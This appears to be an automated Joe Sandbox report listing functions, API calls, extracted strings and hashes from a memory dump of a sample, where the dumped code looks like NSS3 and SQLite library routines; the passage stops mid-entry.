Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 0be4f493d6bc7146c2b9a9b16e21ce6148b9c136edb4df3ceb031650ba580e1f
Instruction ID: 3798f8e791880b42ed36cf0e0dd3bfbca77793d1d4c7df32ff86fa0a95b4bc0e
Opcode Fuzzy Hash: 0be4f493d6bc7146c2b9a9b16e21ce6148b9c136edb4df3ceb031650ba580e1f
Instruction Fuzzy Hash: A481C631B062158FCB04CFAAC880ADEB7F6EF8D308B15852AD915AB741E730ED45CB54

Function 6C6F7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6F81BC

Strings

BINARY, xrefs: 6C6F8126
out of memory, xrefs: 6C6F835B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 977835c252ba80531815a8331cfe3da1433af14b1f1ecdde8f5ea16aedb431c6
Instruction ID: 34cd666458e0e322c0ac022199d74104ff9611e9844ef323d6b219f188f61da1
Opcode Fuzzy Hash: 977835c252ba80531815a8331cfe3da1433af14b1f1ecdde8f5ea16aedb431c6
Instruction Fuzzy Hash: E952B271E05218DFDB14CF9AC8807DDBBB2FF4A308F15819AD865AB761D730A846CB84

Function 6C679EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C679ED6

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C679EE4

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C679F38

Part of subcall function 6C67D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C679F0B), ref: 6C67D03B
Part of subcall function 6C67D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C67D04E
Part of subcall function 6C67D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C67D07B
Part of subcall function 6C67D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C67D08E
Part of subcall function 6C67D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C679F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C679F59

Part of subcall function 6C679D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C679C5B), ref: 6C679D82
Part of subcall function 6C679D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C679C5B), ref: 6C679DA9
Part of subcall function 6C679D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C679C5B), ref: 6C679DCE
Part of subcall function 6C679D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C679C5B), ref: 6C679E43

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 1915d9599c1f52b42735c864f892abf8e6af4d1cbb5613e9b1383253823aafab
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: F61108B5F042015BF7209E659C00B9B73E4AF9574CF140A35E80A9B740FB75E95883BD

Function 6C72CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C72D086
PR_Malloc.NSS3(00000001), ref: 6C72D0B9
PR_Free.NSS3(?), ref: 6C72D138

Strings

>, xrefs: 6C72CF5B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 91ab33641e359320bb3efa9a610a09c6a7a9edba9b25513ce8861a1be03e4a13
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: FDD17A62B445560BFB24487C8EA13EAB7978B723B4F684339D5218BFE5E61DC843C345

Function 6C5AAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5AAE9F
0rl, xrefs: 6C5AACC0, 6C5AAD22, 6C5AAD5E, 6C5AAE45
prl, xrefs: 6C5AADA7
winUnlock, xrefs: 6C5AAE18
Prl, xrefs: 6C5AADDB, 6C5AADF5, 6C5AAE6A

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID: 0rl$Prl$prl$winUnlock$winUnlockReadLock
API String ID: 0-407338023
Opcode ID: f6a1445abeea0196a933e93d140d2af33c0b541690c7375336e74d973bf753ab
Instruction ID: a48ae4fcf93c1f2512f9a8565870187f7697f50ed2c2c03b3010e43515042b5d
Opcode Fuzzy Hash: f6a1445abeea0196a933e93d140d2af33c0b541690c7375336e74d973bf753ab
Instruction Fuzzy Hash: 84718D70608304ABDB04CF29DC94AABBBF5FF89314F14C629F95997211D730A986CBA1

Function 6C6CAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f24b642774a8fef730bcab3b2fe97f1bcea2e1635a8f5bd7477d45cef621f90
Instruction ID: e9c9f4b0963f9fd4e702333da25b28a74bc1dfd08c8f526004428b5628454188
Opcode Fuzzy Hash: 5f24b642774a8fef730bcab3b2fe97f1bcea2e1635a8f5bd7477d45cef621f90
Instruction Fuzzy Hash: E4F1E171F0522A8BDB05CF2AC9543B977F0EB8A308F254239C945E7B50EB709941CBE6

Function 6C6BDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C595001,?,00000003,00000000), ref: 6C6BDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C595001,?), ref: 6C6BE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C595001,?), ref: 6C6BE2DA

Strings

W, xrefs: 6C6BE111

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: b2021625ec3bb98243c2282eec4e87f7cdb703c0d4fc4eb57356af1554803528
Instruction ID: 4083278360aa7e3e8cc96be68059dbc19c87297d0f6713b8fb0dcf1a1fbf5cae
Opcode Fuzzy Hash: b2021625ec3bb98243c2282eec4e87f7cdb703c0d4fc4eb57356af1554803528
Instruction Fuzzy Hash: 8DC1F931B046558BDB04CE6584907EA77B1FF86308F2841F9DDA9BBB41D7319921CBD8

Function 6C680E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C681052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C681086

Strings

h(hl, xrefs: 6C681062, 6C68105D, 6C680F37, 6C681081, 6C681082
h(hl, xrefs: 6C680E55, 6C680EC4, 6C680F3A, 6C680FA7

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpymemset
String ID: h(hl$h(hl
API String ID: 1297977491-4192407294
Opcode ID: cc9c828c9a6b4fad5afa9d3d0c602051c52f147f2dc927220418e3041c18a139
Instruction ID: 8086ba0dc79dc4e93d9b812c22174f702cf1ff9910e3ad24fdb9701887a2f197
Opcode Fuzzy Hash: cc9c828c9a6b4fad5afa9d3d0c602051c52f147f2dc927220418e3041c18a139
Instruction Fuzzy Hash: B9A14F71B0225A9FDF08CF99C894AEEBBB6BF4D314B148129E915A7700D735EC11CBA4

Function 6C5A4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5A5125
0rl, xrefs: 6C5A4EDE, 6C5A4F82
prl, xrefs: 6C5A4E1C, 6C5A4E81, 6C5A4FDE, 6C5A5047, 6C5A50BB, 6C5A51A3, 6C5A526C
Prl, xrefs: 6C5A5019, 6C5A50FA, 6C5A5157, 6C5A51DE, 6C5A51F2, 6C5A520D, 6C5A5220, 6C5A52A2, 6C5A52B5

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID: 0rl$Prl$prl$winUnlockReadLock
API String ID: 0-3554183805
Opcode ID: 315ef629776dbdceb8074d099475ae6c88d8a515f0771ba8708083684315ea16
Instruction ID: db9492c41dfc452bd4029b80a29e103edeaed4d0853c79b2cadaa7ef109e83cf
Opcode Fuzzy Hash: 315ef629776dbdceb8074d099475ae6c88d8a515f0771ba8708083684315ea16
Instruction Fuzzy Hash: 79E13E70A08744CFDB05DF2AD88865ABBF0FF89304F519A2DE89997351E7309985CF92

Function 6C5A6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C5A7034, 6C5A7052, 6C5A7070
noskipscan*, xrefs: 6C5A7067
unordered*, xrefs: 6C5A702B
sz=[0-9]*, xrefs: 6C5A7049

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f05d849215c29bc31f831ebeae9db8c2927cdc26c9ba781af10e19a1556071c7
Instruction ID: 96edc9612baf2ac648b48bff00bef40e12d72d55a92bf4ec815785eb16e644b2
Opcode Fuzzy Hash: f05d849215c29bc31f831ebeae9db8c2927cdc26c9ba781af10e19a1556071c7
Instruction Fuzzy Hash: 06718E32F002114BEB14CAAFCC8039E77E2AF85354F250639C965ABBC9EA719C4787C1

Function 6C5C3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C5C460F
sqlite_master, xrefs: 6C5C463F
sqlite_, xrefs: 6C5C3FAA, 6C5C4185

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 826d36b3fa896cf0c8685d0b8874088eae82f76039bd33bd95740b30ebe32fd8
Instruction ID: f1df196e5573ccdd2c02f103017e0e2e8ee7612a43b5ed043c2f869056bc6bed
Opcode Fuzzy Hash: 826d36b3fa896cf0c8685d0b8874088eae82f76039bd33bd95740b30ebe32fd8
Instruction Fuzzy Hash: 82223931B491A54FD704CAE58CA0DB67BF2DF46318B6889ACC9E15FF46C325E841C792

Function 6C6FBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C6FC0B6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 8636fab6be5eaba8ace3a93cb310a9fea76e2417278d9be171c08659ec97f85b
Instruction ID: e69130fa0384c0f1d0767985e750a67e9acc6e9c19f9bcc97a8122c90f5a622f
Opcode Fuzzy Hash: 8636fab6be5eaba8ace3a93cb310a9fea76e2417278d9be171c08659ec97f85b
Instruction Fuzzy Hash: 02927E74A042099FDB15DF98C890BAEB7B3FF88308F244168D426ABB91D735EC56CB54

Function 6C593D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C593EA9

Strings

0, xrefs: 6C593DAB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 2a1a3ccdeabd9897721185f837db6c5a2487ce15980469ef9dbfcd96d637890b
Instruction ID: f206cc7a69db45b76838584524e8469ea53ab366df65246014fbca1ebdfafa4d
Opcode Fuzzy Hash: 2a1a3ccdeabd9897721185f837db6c5a2487ce15980469ef9dbfcd96d637890b
Instruction Fuzzy Hash: 8F512931E491F9CAEB16867D8C603FFBBB19B83314F1D43A9C5A967AC0D23449498791

Function 6C63EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C63F0F9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 739c44c604999126f9193ca09fcc1a9b71c2d8f463535c66f4bb3086548f1fe9
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: D391CF75A0062A8BCB14CF68C8906AEB7F1FF85324F24572DD966A7BC0D734A905CB51

Function 6C662F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C687929), ref: 6C662FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C687929), ref: 6C662FE0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: c741454eee443793bf82d4ce0e0009728f1f4929167adcdab507dea50b1bb639
Instruction ID: 98b804eb2fa0ea3d4df54fd575d81d2860b443b03b8ebd85401f8c1918a93e31
Opcode Fuzzy Hash: c741454eee443793bf82d4ce0e0009728f1f4929167adcdab507dea50b1bb639
Instruction Fuzzy Hash: 4951F271A049118FD7008E5BC880BAA73B1EF85318F254139D9999BF02C731ED4ACBDB

Function 6C66ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C66EE3D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: f1faa1284f26ccaa1853f4191a4d1bb6d09b516bd2b8a60ed30dd80a63746def
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: B371D372E01B018FD718CF5AD8807AAB7F2BF98304F15462DD85697B91D730E901CB96

Function 6C595F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C596013

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: b60d770c9ab2786ae2a9f5154eb624e688229e0f2dc689d9f66b25dec4320650
Instruction ID: d3f28463aefe01dd5282280d064879d9c3c8bf7537545b71a6ab60cc5329b45a
Opcode Fuzzy Hash: b60d770c9ab2786ae2a9f5154eb624e688229e0f2dc689d9f66b25dec4320650
Instruction Fuzzy Hash: 55C105B0A047868BDB44CF15CC907AAB7B2EF85328F6482A9D996D7B41DB30E855C7D0

Function 6C725E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

